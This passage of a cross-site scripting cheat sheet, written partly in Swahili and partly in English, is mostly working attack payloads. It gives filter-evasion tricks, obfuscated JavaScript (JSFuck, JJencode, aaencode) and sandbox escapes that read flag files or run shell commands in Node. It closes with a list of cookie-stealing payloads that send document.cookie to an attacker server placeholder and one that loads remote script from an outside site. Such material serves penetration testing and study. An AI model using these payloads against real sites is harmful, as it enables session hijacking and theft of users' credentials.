//9,10,11,12,13,32,160,5760,8192,8193,8194,8195,8196,8197,8198,8199,8200,8201,8202,8232,8233,8239,8287,12288,65279

//Either the raw characters can be used or you can HTML encode them if they appear in SVG or HTML attributes:
<img/src/onerror=alert&#65279;(1)>

Javascript ndani ya maoni

//If you can only inject inside a JS comment, you can still leak something
//If the user opens DevTools request to the indicated sourceMappingURL will be send

//# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com

JavaScript bila mabano ya mviringo

// By setting location
window.location='javascript:alert\x281\x29'
x=new DOMMatrix;matrix=alert;x.a=1337;location='javascript'+':'+x
// or any DOMXSS sink such as location=name

// Backtips
// Backtips pass the string as an array of lenght 1
alert`1`

// Backtips + Tagged Templates + call/apply
eval`alert\x281\x29` // This won't work as it will just return the passed array
setTimeout`alert\x281\x29`
eval.call`${'alert\x281\x29'}`
eval.apply`${[`alert\x281\x29`]}`
[].sort.call`${alert}1337`
[].map.call`${eval}\\u{61}lert\x281337\x29`

// To pass several arguments you can use
function btt(){
console.log(arguments);
}
btt`${'arg1'}${'arg2'}${'arg3'}`

//It's possible to construct a function and call it
Function`x${'alert(1337)'}x`

// .replace can use regexes and call a function if something is found
"a,".replace`a${alert}` //Initial ["a"] is passed to str as "a," and thats why the initial string is "a,"
"a".replace.call`1${/./}${alert}`
// This happened in the previous example
// Change "this" value of call to "1,"
// match anything with regex /./
// call alert with "1"
"a".replace.call`1337${/..../}${alert}` //alert with 1337 instead

// Using Reflect.apply to call any function with any argumnets
Reflect.apply.call`${alert}${window}${[1337]}` //Pass the function to call (“alert”), then the “this” value to that function (“window”) which avoids the illegal invocation error and finally an array of arguments to pass to the function.
Reflect.apply.call`${navigation.navigate}${navigation}${[name]}`
// Using Reflect.set to call set any value to a variable
Reflect.set.call`${location}${'href'}${'javascript:alert\x281337\x29'}` // It requires a valid object in the first argument (“location”), a property in the second argument and a value to assign in the third.



// valueOf, toString
// These operations are called when the object is used as a primitive
// Because the objet is passed as "this" and alert() needs "window" to be the value of "this", "window" methods are used
valueOf=alert;window+''
toString=alert;window+''


// Error handler
window.onerror=eval;throw"=alert\x281\x29";
onerror=eval;throw"=alert\x281\x29";
<img src=x onerror="window.onerror=eval;throw'=alert\x281\x29'">
{onerror=eval}throw"=alert(1)" //No ";"
onerror=alert //No ";" using new line
throw 1337
// Error handler + Special unicode separators
eval("onerror=\u2028alert\u2029throw 1337");
// Error handler + Comma separator
// The comma separator goes through the list and returns only the last element
var a = (1,2,3,4,5,6) // a = 6
throw onerror=alert,1337 // this is throw 1337, after setting the onerror event to alert
throw onerror=alert,1,1,1,1,1,1337
// optional exception variables inside a catch clause.
try{throw onerror=alert}catch{throw 1}


// Has instance symbol
'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}
'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}
// The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol.

Mwito wa function yoyote (alert)

//Eval like functions
eval('ale'+'rt(1)')
setTimeout('ale'+'rt(2)');
setInterval('ale'+'rt(10)');
Function('ale'+'rt(10)')``;
[].constructor.constructor("alert(document.domain)")``
[]["constructor"]["constructor"]`$${alert()}```
import('data:text/javascript,alert(1)')

//General function executions
`` //Can be use as parenthesis
alert`document.cookie`
alert(document['cookie'])
with(document)alert(cookie)
(alert)(1)
(alert(1))in"."
a=alert,a(1)
[1].find(alert)
window['alert'](0)
parent['alert'](1)
self['alert'](2)
top['alert'](3)
this['alert'](4)
frames['alert'](5)
content['alert'](6)
[7].map(alert)
[8].find(alert)
[9].every(alert)
[10].filter(alert)
[11].findIndex(alert)
[12].forEach(alert);
top[/al/.source+/ert/.source](1)
top[8680439..toString(30)](1)
Function("ale"+"rt(1)")();
new Function`al\ert\`6\``;
Set.constructor('ale'+'rt(13)')();
Set.constructor`al\x65rt\x2814\x29```;
$='e'; x='ev'+'al'; x=this[x]; y='al'+$+'rt(1)'; y=x(y); x(y)
x='ev'+'al'; x=this[x]; y='ale'+'rt(1)'; x(x(y))
this[[]+('eva')+(/x/,new Array)+'l'](/xxx.xxx.xxx.xxx.xx/+alert(1),new Array)
globalThis[`al`+/ert/.source]`1`
this[`al`+/ert/.source]`1`
[alert][0].call(this,1)
window['a'+'l'+'e'+'r'+'t']()
window['a'+'l'+'e'+'r'+'t'].call(this,1)
top['a'+'l'+'e'+'r'+'t'].apply(this,[1])
(1,2,3,4,5,6,7,8,alert)(1)
x=alert,x(1)
[1].find(alert)
top["al"+"ert"](1)
top[/al/.source+/ert/.source](1)
al\u0065rt(1)
al\u0065rt`1`
top['al\145rt'](1)
top['al\x65rt'](1)
top[8680439..toString(30)](1)
<svg><animate onbegin=alert() attributeName=x></svg>

DOM vulnerabilities

Kuna JS code inayotumia data isiyo salama inayodhibitiwa na mshambuliaji kama location.href. Mshambuliaji anaweza kutumia hili kutekeleza arbitrary JS code.
Due to the extension of the explanation of DOM vulnerabilities it was moved to this page:

DOM XSS

Huko utapata maelezo ya kina ya explanation of what DOM vulnerabilities are, how are they provoked, and how to exploit them.
Pia, usisahau kwamba mwishoni mwa post iliyotajwa unaweza kupata maelezo kuhusu DOM Clobbering attacks.

Upgrading Self-XSS

Ikiwa unaweza kuchochea XSS kwa kutuma payload ndani ya cookie, hii kawaida ni self-XSS. Hata hivyo, ikiwa utapata vulnerable subdomain to XSS, unaweza kutumia XSS hii kuingiza cookie kwenye domain nzima ukaweza kuchochea cookie XSS kwenye domain kuu au subdomains nyingine (ile ambazo zinazolengwa na cookie XSS). Kwa hili unaweza kutumia cookie tossing attack:

Cookie Tossing

Unaweza kupata matumizi makubwa ya mbinu hii katika this blog post.

Sending your session to the admin

Labda mtumiaji anaweza kushiriki profile yake na admin, na ikiwa Self-XSS iko ndani ya profile ya mtumiaji na admin akiifungua, atachochea udhaifu huo.

Session Mirroring

Ikiwa utapata Self-XSS na ukurasa wa wavuti una session mirroring for administrators, kwa mfano kuruhusu wateja kuomba msaada na ili admin akusaidie ataona kile unachokiona katika session yako lakini kutoka session yake.

Unaweza kumfanya admin achochee Self-XSS yako na kuiba cookies/session yake.

Other Bypasses

Bypassing sanitization via WASM linear-memory template overwrite

When a web app uses Emscripten/WASM, constant strings (like HTML format stubs) live in writable linear memory. A single in‑WASM overflow (e.g., unchecked memcpy in an edit path) can corrupt adjacent structures and redirect writes to those constants. Overwriting a template such as “

%.*s

” to “” turns sanitized input into a JavaScript handler value and yields immediate DOM XSS on render.

Check the dedicated page with exploitation workflow, DevTools memory helpers, and defenses:

Wasm Linear Memory Template Overwrite Xss

Normalised Unicode

Unaweza kukagua kama reflected values zinakuwa unicode normalized kwenye server (au kwenye client side) na kutumia utendakazi huu kuzipita protections. Find an example here.

PHP FILTER_VALIDATE_EMAIL flag Bypass

"><svg/onload=confirm(1)>"@x.y

Ruby-On-Rails bypass

Kutokana na RoR mass assignment nukuu zinaingizwa kwenye HTML na kisha kizuizi cha nukuu kinapitiwa na mashamba ya ziada (onfocus) yanaweza kuongezwa ndani ya tag.
Mfano wa fomu (from this report), ikiwa utatuma payload:

contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa

Jozi “Key”,“Value” itarudishwa kama hii:

{" onfocus=javascript:alert(&#39;xss&#39;) autofocus a"=>"a"}

Kisha, sifa ya onfocus itaingizwa na XSS itatokea.

Mchanganyiko maalum

<iframe/src="data:text/html,<svg onload=alert(1)>">
<input type=image src onerror="prompt(1)">
<svg onload=alert(1)//
<img src="/" =_=" title="onerror='prompt(1)'">
<img src='1' onerror='alert(0)' <
<script x> alert(1) </script 1=2
<script x>alert('XSS')<script y>
<svg/onload=location=`javas`+`cript:ale`+`rt%2`+`81%2`+`9`;//
<svg////////onload=alert(1)>
<svg id=x;onload=alert(1)>
<svg id=`x`onload=alert(1)>
<img src=1 alt=al lang=ert onerror=top[alt+lang](0)>
<script>$=1,alert($)</script>
<script ~~~>confirm(1)</script ~~~>
<script>$=1,\u0061lert($)</script>
<</script/script><script>eval('\\u'+'0061'+'lert(1)')//</script>
<</script/script><script ~~~>\u0061lert(1)</script ~~~>
</style></scRipt><scRipt>alert(1)</scRipt>
<img src=x:prompt(eval(alt)) onerror=eval(src) alt=String.fromCharCode(88,83,83)>
<svg><x><script>alert('1'&#41</x>
<iframe src=""/srcdoc='<svg onload=alert(1)>'>
<svg><animate onbegin=alert() attributeName=x></svg>
<img/id="alert('XSS')\"/alt=\"/\"src=\"/\"onerror=eval(id)>
<img src=1 onerror="s=document.createElement('script');s.src='http://xss.rocks/xss.js';document.body.appendChild(s);">
(function(x){this[x+`ert`](1)})`al`
window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
document['default'+'View'][`\u0061lert`](3)

XSS with header injection in a 302 response

Ikiwa unagundua kwamba unaweza inject headers in a 302 Redirect response unaweza kujaribu make the browser execute arbitrary JavaScript. Hii sio rahisi kwa kuwa browsers za kisasa hazitafsiri body ya HTTP response ikiwa HTTP response status code ni 302, kwa hivyo payload ya cross-site scripting peke yake haitafanya kazi.

In this report and this one unaweza kusoma jinsi unavyoweza kujaribu protocols kadhaa ndani ya Location header na kuona kama yoyote yao inaruhusu browser kukagua na execute XSS payload ndani ya body.
Past known protocols: mailto://, //x:1/, ws://, wss://, empty Location header, resource://.

Herufi, Nambari na Nukta tu

Ikiwa unaweza kuonyesha callback ambayo javascript itakayokuwa ikitumia execute ikiwa imefikiwa kwa herufi, nambari na nukta tu. Read this section of this post ili kujifunza jinsi ya kutilia matumizi tabia hii.

Valid <script> Content-Types to XSS

(From here) Ikiwa ujaribu kupakia script kwa content-type kama application/octet-stream, Chrome itatoa kosa lifuatalo:

Refused to execute script from ‘https://uploader.c.hc.lc/uploads/xxx’ because its MIME type (‘application/octet-stream’) is not executable, and strict MIME type checking is enabled.

The only Content-Types that will support Chrome to run a loaded script are the ones inside the const kSupportedJavascriptTypes from https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc

const char* const kSupportedJavascriptTypes[] = {
"application/ecmascript",
"application/javascript",
"application/x-ecmascript",
"application/x-javascript",
"text/ecmascript",
"text/javascript",
"text/javascript1.0",
"text/javascript1.1",
"text/javascript1.2",
"text/javascript1.3",
"text/javascript1.4",
"text/javascript1.5",
"text/jscript",
"text/livescript",
"text/x-ecmascript",
"text/x-javascript",
};

Aina za Script kwa XSS

(Kutoka here) Basi, ni aina gani zinaweza kuonyeshwa ili kupakia script?

<script type="???"></script>

Jibu ni:

  • module (chaguo-msingi, hakuna cha kufafanua)
  • webbundle: Web Bundles ni kipengele kinachokuwezesha kuweka pamoja data nyingi (HTML, CSS, JS…) katika faili ya .wbn.
<script type="webbundle">
{
"source": "https://example.com/dir/subresources.wbn",
"resources": ["https://example.com/dir/a.js", "https://example.com/dir/b.js", "https://example.com/dir/c.png"]
}
</script>
The resources are loaded from the source .wbn, not accessed via HTTP
  • importmap: Inaruhusu kuboresha import syntax
<script type="importmap">
{
"imports": {
"moment": "/node_modules/moment/src/moment.js",
"lodash": "/node_modules/lodash-es/lodash.js"
}
}
</script>

<!-- With importmap you can do the following -->
<script>
import moment from "moment"
import { partition } from "lodash"
</script>

Tabia hii ilitumika katika this writeup kupangilia upya library kwa eval; kuitumia vibaya kunaweza kusababisha XSS.

  • speculationrules: Kipengele hiki kinakusudiwa hasa kutatua baadhi ya matatizo yaliyosababishwa na pre-rendering. Kinafanya kazi hivi:
<script type="speculationrules">
{
"prerender": [
{ "source": "list", "urls": ["/page/2"], "score": 0.5 },
{
"source": "document",
"if_href_matches": ["https://*.wikipedia.org/**"],
"if_not_selector_matches": [".restricted-section *"],
"score": 0.1
}
]
}
</script>

Content-Types za Web kwa XSS

(Kutoka here) Aina za maudhui zifuatazo zinaweza kutekeleza XSS katika vivinjari vyote:

  • text/html
  • application/xhtml+xml
  • application/xml
  • text/xml
  • image/svg+xml
  • text/plain (?? not in the list but I think I saw this in a CTF)
  • application/rss+xml (off)
  • application/atom+xml (off)

Katika vivinjari vingine, Content-Types nyingine zinaweza kutumika kutekeleza JS yoyote, angalia: https://github.com/BlackFan/content-type-research/blob/master/XSS.md

xml Content Type

Ikiwa ukurasa unarudisha text/xml content-type, inawezekana kubainisha namespace na kutekeleza JS yoyote:

<xml>
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
</xml>

<!-- Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 113). Kindle Edition. -->

Mifumo Maalum ya Ubadilishaji

Wakati kitu kama "some {{template}} data".replace("{{template}}", <user_input>) kinapotumika. Mshambuliaji anaweza kutumia special string replacements kujaribu kupita baadhi ya kinga: "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))

Kwa mfano katika this writeup, hili lilitumiwa kuscape a JSON string ndani ya script na kutekeleza arbitrary code.

Chrome Cache to XSS

Chrome Cache to XSS

XS Jails Escape

Ikiwa una seti ndogo tu ya chars za kutumia, angalia suluhisho hizi nyingine zinazofaa kwa matatizo ya XSJail:

// eval + unescape + regex
eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
eval(unescape(1+/1,this%2evalueOf%2econstructor(%22process%2emainModule%2erequire(%27repl%27)%2estart()%22)()%2f/))

// use of with
with(console)log(123)
with(/console.log(1)/index.html)with(this)with(constructor)constructor(source)()
// Just replace console.log(1) to the real code, the code we want to run is:
//return String(process.mainModule.require('fs').readFileSync('flag.txt'))

with(process)with(mainModule)with(require('fs'))return(String(readFileSync('flag.txt')))
with(k='fs',n='flag.txt',process)with(mainModule)with(require(k))return(String(readFileSync(n)))
with(String)with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)with(mainModule)with(require(k))return(String(readFileSync(n)))

//Final solution
with(
/with(String)
with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)
with(mainModule)
with(require(k))
return(String(readFileSync(n)))
/)
with(this)
with(constructor)
constructor(source)()

// For more uses of with go to challenge misc/CaaSio PSE in
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE

Ikiwa everything is undefined kabla ya kuendesha untrusted code (kama katika this writeup) inawezekana kuzalisha vitu vinavyofaa “out of nothing” ili kutumia vibaya utekelezaji wa arbitrary untrusted code:

  • Using import()
// although import "fs" doesn’t work, import('fs') does.
import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8")))
  • Kupata require kwa njia isiyo ya moja kwa moja

According to this modules zimefungwa na Node.js ndani ya function, kama ifuatavyo:

;(function (exports, require, module, __filename, __dirname) {
// our actual module code
})

Kwa hivyo, ikiwa kutoka kwenye module hiyo tunaweza kuita function nyingine, inawezekana kutumia arguments.callee.caller.arguments[1] kutoka kwa function hiyo kupata require:

;(function () {
return arguments.callee.caller.arguments[1]("fs").readFileSync(
"/flag.txt",
"utf8"
)
})()

Kwa njia inayofanana na mfano uliopita, inawezekana kutumia washughulikiaji wa makosa kufikia wrapper ya moduli na kupata require function:

try {
null.f()
} catch (e) {
TypeError = e.constructor
}
Object = {}.constructor
String = "".constructor
Error = TypeError.prototype.__proto__.constructor
function CustomError() {
const oldStackTrace = Error.prepareStackTrace
try {
Error.prepareStackTrace = (err, structuredStackTrace) =>
structuredStackTrace
Error.captureStackTrace(this)
this.stack
} finally {
Error.prepareStackTrace = oldStackTrace
}
}
function trigger() {
const err = new CustomError()
console.log(err.stack[0])
for (const x of err.stack) {
// use x.getFunction() to get the upper function, which is the one that Node.js adds a wrapper to, and then use arugments to get the parameter
const fn = x.getFunction()
console.log(String(fn).slice(0, 200))
console.log(fn?.arguments)
console.log("=".repeat(40))
if ((args = fn?.arguments)?.length > 0) {
req = args[1]
console.log(req("child_process").execSync("id").toString())
}
}
}
trigger()

Obfuscation & Advanced Bypass

//Katana
<script>
([,ウ,,,,ア]=[]+{}
,[ネ,ホ,ヌ,セ,,ミ,ハ,ヘ,,,ナ]=[!!ウ]+!ウ+ウ.ウ)[ツ=ア+ウ+ナ+ヘ+ネ+ホ+ヌ+ア+ネ+ウ+ホ][ツ](ミ+ハ+セ+ホ+ネ+'(-~ウ)')()
</script>
//JJencode
<script>$=~[];$={___:++$,$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$:({}+"")[$],$_$:($[$]+"")[$],_$:++$,$_:(!""+"")[$],$__:++$,$_$:++$,$__:({}+"")[$],$_:++$,$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$=($.$+"")[$.__$])+((!$)+"")[$._$]+($.__=$.$_[$.$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$=$.$+(!""+"")[$._$]+$.__+$._+$.$+$.$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$+"\""+$.$_$_+(![]+"")[$._$_]+$.$_+"\\"+$.__$+$.$_+$._$_+$.__+"("+$.___+")"+"\"")())();</script>
//JSFuck
<script>
(+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]]]+[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]])()
</script>
//aaencode
゚ω゚ノ = /`m´)ノ ~┻━┻   / /*´∇`*/["_"]
o = ゚ー゚ = _ = 3
c = ゚Θ゚ = ゚ー゚ - ゚ー゚
゚Д゚ = ゚Θ゚ = (o ^ _ ^ o) / (o ^ _ ^ o)
゚Д゚ = {
゚Θ゚: "_",
゚ω゚ノ: ((゚ω゚ノ == 3) + "_")[゚Θ゚],
゚ー゚ノ: (゚ω゚ノ + "_")[o ^ _ ^ (o - ゚Θ゚)],
゚Д゚ノ: ((゚ー゚ == 3) + "_")[゚ー゚],
}
゚Д゚[゚Θ゚] = ((゚ω゚ノ == 3) + "_")[c ^ _ ^ o]
゚Д゚["c"] = (゚Д゚ + "_")[゚ー゚ + ゚ー゚ - ゚Θ゚]
゚Д゚["o"] = (゚Д゚ + "_")[゚Θ゚]
゚o゚ =
゚Д゚["c"] +
゚Д゚["o"] +
(゚ω゚ノ + "_")[゚Θ゚] +
((゚ω゚ノ == 3) + "_")[゚ー゚] +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
((゚ー゚ == 3) + "_")[゚Θ゚] +
((゚ー゚ == 3) + "_")[゚ー゚ - ゚Θ゚] +
゚Д゚["c"] +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
゚Д゚["o"] +
((゚ー゚ == 3) + "_")[゚Θ゚]
゚Д゚["_"] = (o ^ _ ^ o)[゚o゚][゚o゚]
゚ε゚ =
((゚ー゚ == 3) + "_")[゚Θ゚] +
゚Д゚.゚Д゚ノ +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
((゚ー゚ == 3) + "_")[o ^ _ ^ (o - ゚Θ゚)] +
((゚ー゚ == 3) + "_")[゚Θ゚] +
(゚ω゚ノ + "_")[゚Θ゚]
゚ー゚ += ゚Θ゚
゚Д゚[゚ε゚] = "\\"
゚Д゚.゚Θ゚ノ = (゚Д゚ + ゚ー゚)[o ^ _ ^ (o - ゚Θ゚)]
o゚ー゚o = (゚ω゚ノ + "_")[c ^ _ ^ o]
゚Д゚[゚o゚] = '"'
゚Д゚["_"](
゚Д゚["_"](
゚ε゚ +
゚Д゚[゚o゚] +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(゚ー゚ + ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚ー゚ +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚ー゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚Θ゚ +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(゚ー゚ + ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
(゚ー゚ + (o ^ _ ^ o)) +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚ー゚ +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚Θ゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) - ゚Θ゚) +
(o ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(o ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚ー゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
゚Θ゚ +
゚Д゚[゚o゚]
)(゚Θ゚)
)("_")
// It's also possible to execute JS code only with the chars: []`+!${}

XSS payloads za kawaida

Payloads kadhaa ndani ya 1

Steal Info JS

Iframe Trap

Fanya mtumiaji atembelee ukurasa bila kutoka kwenye iframe na uibe vitendo vyake (ikiwa ni pamoja na taarifa zinazotumwa kwenye fomu):

Iframe Traps

Pata Cookies

<img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
<img src=x onerror="location.href='http://<YOUR_SERVER_IP>/?c='+ document.cookie">
<script>new Image().src="http://<IP>/?c="+encodeURI(document.cookie);</script>
<script>new Audio().src="http://<IP>/?c="+escape(document.cookie);</script>
<script>location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.write('<img src="http://<YOUR_SERVER_IP>?c='+document.cookie+'" />')</script>
<script>window.location.assign('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['assign']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['href']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>document.location=["http://<YOUR_SERVER_IP>?c",document.cookie].join()</script>
<script>var i=new Image();i.src="http://<YOUR_SERVER_IP>/?c="+document.cookie</script>
<script>window.location="https://<SERVER_IP>/?c=".concat(document.cookie)</script>
<script>var xhttp=new XMLHttpRequest();xhttp.open("GET", "http://<SERVER_IP>/?c="%2Bdocument.cookie, true);xhttp.send();</script>
<script>eval(atob('ZG9jdW1lbnQud3JpdGUoIjxpbWcgc3JjPSdodHRwczovLzxTRVJWRVJfSVA+P2M9IisgZG9jdW1lbnQuY29va2llICsiJyAvPiIp'));</script>
